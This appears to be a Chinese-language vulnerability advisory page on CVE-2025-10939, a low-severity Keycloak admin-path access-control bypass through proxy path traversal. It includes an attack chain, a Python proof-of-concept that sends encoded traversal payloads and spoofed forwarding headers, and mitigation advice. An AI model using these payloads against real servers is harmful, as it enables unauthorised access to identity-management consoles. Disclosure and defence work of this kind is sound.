IPBUF安全漏洞报告
English
CVE-2025-10939 CVSS 3.7 低危

CVE-2025-10939: Keycloak代理路径遍历访问控制绕过漏洞

披露日期: 2025-10-28

漏洞信息

漏洞编号
CVE-2025-10939
漏洞类型
访问控制绕过
CVSS评分
3.7 低危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Keycloak

相关标签

访问控制绕过路径遍历Keycloak代理配置CVE-2025-10939身份认证绕过ha-proxy

漏洞概述

CVE-2025-10939是Keycloak中的一个访问控制绕过漏洞。该漏洞由于Keycloak在代理环境下的路径处理不当导致。官方文档建议在使用反向代理时不应将/admin路径暴露给外部,但通过ha-proxy等代理时,攻击者可以利用相对路径或非规范化的路径来访问本应被保护的/admin应用路径。攻击者通过构造特殊的URL路径,利用代理与Keycloak之间的路径解析差异,绕过访问控制限制访问管理接口。由于Keycloak的/admin路径通常包含敏感的管理功能,成功的利用可能导致未授权访问管理界面,获取敏感信息或执行管理操作。该漏洞的CVSS评分为3.7,属于低危漏洞,主要影响机密性。

技术细节

该漏洞的根本原因在于Keycloak部署在反向代理(如ha-proxy)后方时,代理层的路径处理与Keycloak应用层的路径解析存在差异。正常情况下,管理员会配置代理规则阻止外部用户直接访问/admin路径,只暴露/realms等公共路径。然而,攻击者可以通过以下方式绕过这一限制:1) 使用相对路径如/realms/../admin绕过代理的路径检查;2) 利用URL编码或双URL编码混淆路径;3) 使用路径规范化差异。由于代理在检查路径时可能未正确处理这些特殊路径格式,而Keycloak在处理请求时会解析这些路径,导致攻击者可以访问本应被保护的/admin路径。攻击者成功利用后可以访问Keycloak的管理控制台,可能获取用户信息、会话数据或执行管理操作。修复方案包括:在代理层强制路径规范化、严格配置访问控制规则、以及在应用层增加路径验证逻辑。

攻击链分析

STEP 1
步骤1
攻击者识别目标Keycloak服务器,发现/admin管理路径通过代理配置被保护,只暴露/realms等公共路径
STEP 2
步骤2
攻击者通过ha-proxy等代理发送包含路径遍历payload的请求,如使用相对路径(/realms/../admin)或URL编码(%2e%2e)来绕过代理的路径检查
STEP 3
步骤3
代理服务器未正确规范化请求路径,将恶意请求转发给Keycloak后端
STEP 4
步骤4
Keycloak应用层解析请求时,将/realms/../admin理解为/admin路径,成功匹配到管理路由
STEP 5
步骤5
攻击者绕过访问控制,成功访问Keycloak管理控制台,可能获取敏感用户数据、会话信息或执行管理操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-10939 PoC - Keycloak Admin Path Bypass via Proxy # This PoC demonstrates accessing /admin path through /realms using path traversal import requests import urllib.parse TARGET_URL = "https://vulnerable-keycloak.example.com" def test_path_bypass(): """ Test various path traversal techniques to access /admin path through exposed /realms endpoint """ # Normal protected path (should be blocked) normal_admin = f"{TARGET_URL}/admin/master/console/" # Path traversal techniques bypass_paths = [ # Relative path traversal f"{TARGET_URL}/realms/../admin/master/console/", f"{TARGET_URL}/realms/../../admin/master/console/", # URL encoded traversal f"{TARGET_URL}/realms/%2e%2e/admin/master/console/", f"{TARGET_URL}/realms/%2e%2e/%2e%2e/admin/master/console/", # Double URL encoded f"{TARGET_URL}/realms/%252e%252e/admin/master/console/", # Path normalization variations f"{TARGET_URL}/realms/./../admin/master/console/", f"{TARGET_URL}/realms/master/../../admin/master/console/", # Query parameter based f"{TARGET_URL}/realms/..;/admin/master/console/", # Mixed techniques f"{TARGET_URL}/realms/../admin/..%2f..%2fadmin/master/console/", ] headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', 'X-Forwarded-For': '127.0.0.1', 'X-Original-URI': '/admin/master/console/' } print("Testing Keycloak Admin Path Bypass (CVE-2025-10939)") print("=" * 60) # First check if normal path is blocked print(f"\n[1] Testing normal /admin path (should be blocked):") try: response = requests.get(normal_admin, headers=headers, verify=False, timeout=10) print(f" Status: {response.status_code}") except requests.RequestException as e: print(f" Error: {e}") # Test bypass techniques print(f"\n[2] Testing path traversal bypass techniques:") for path in bypass_paths: try: response = requests.get(path, headers=headers, verify=False, timeout=10) status = "VULNERABLE" if response.status_code == 200 else f"{response.status_code}" print(f" [{status}] {path}") except requests.RequestException as e: print(f" [ERROR] {path} - {e}") print("\nNote: If any bypass technique returns 200, the system is vulnerable.") print("Remediation: Apply latest Keycloak patches and review proxy configuration.") if __name__ == "__main__": test_path_bypass()

影响范围

Keycloak < 26.x (all versions prior to fixed release)
Keycloak < 25.0.12
Keycloak < 24.0.10

防御指南

临时缓解措施
临时缓解措施:在代理层添加严格的路径过滤规则,拒绝任何包含../、%2e%2e等路径遍历字符的请求;确保代理配置正确规范化所有传入请求的路径;限制只有特定IP地址可以访问管理接口;启用Keycloak的安全审计日志以便及时发现异常访问行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表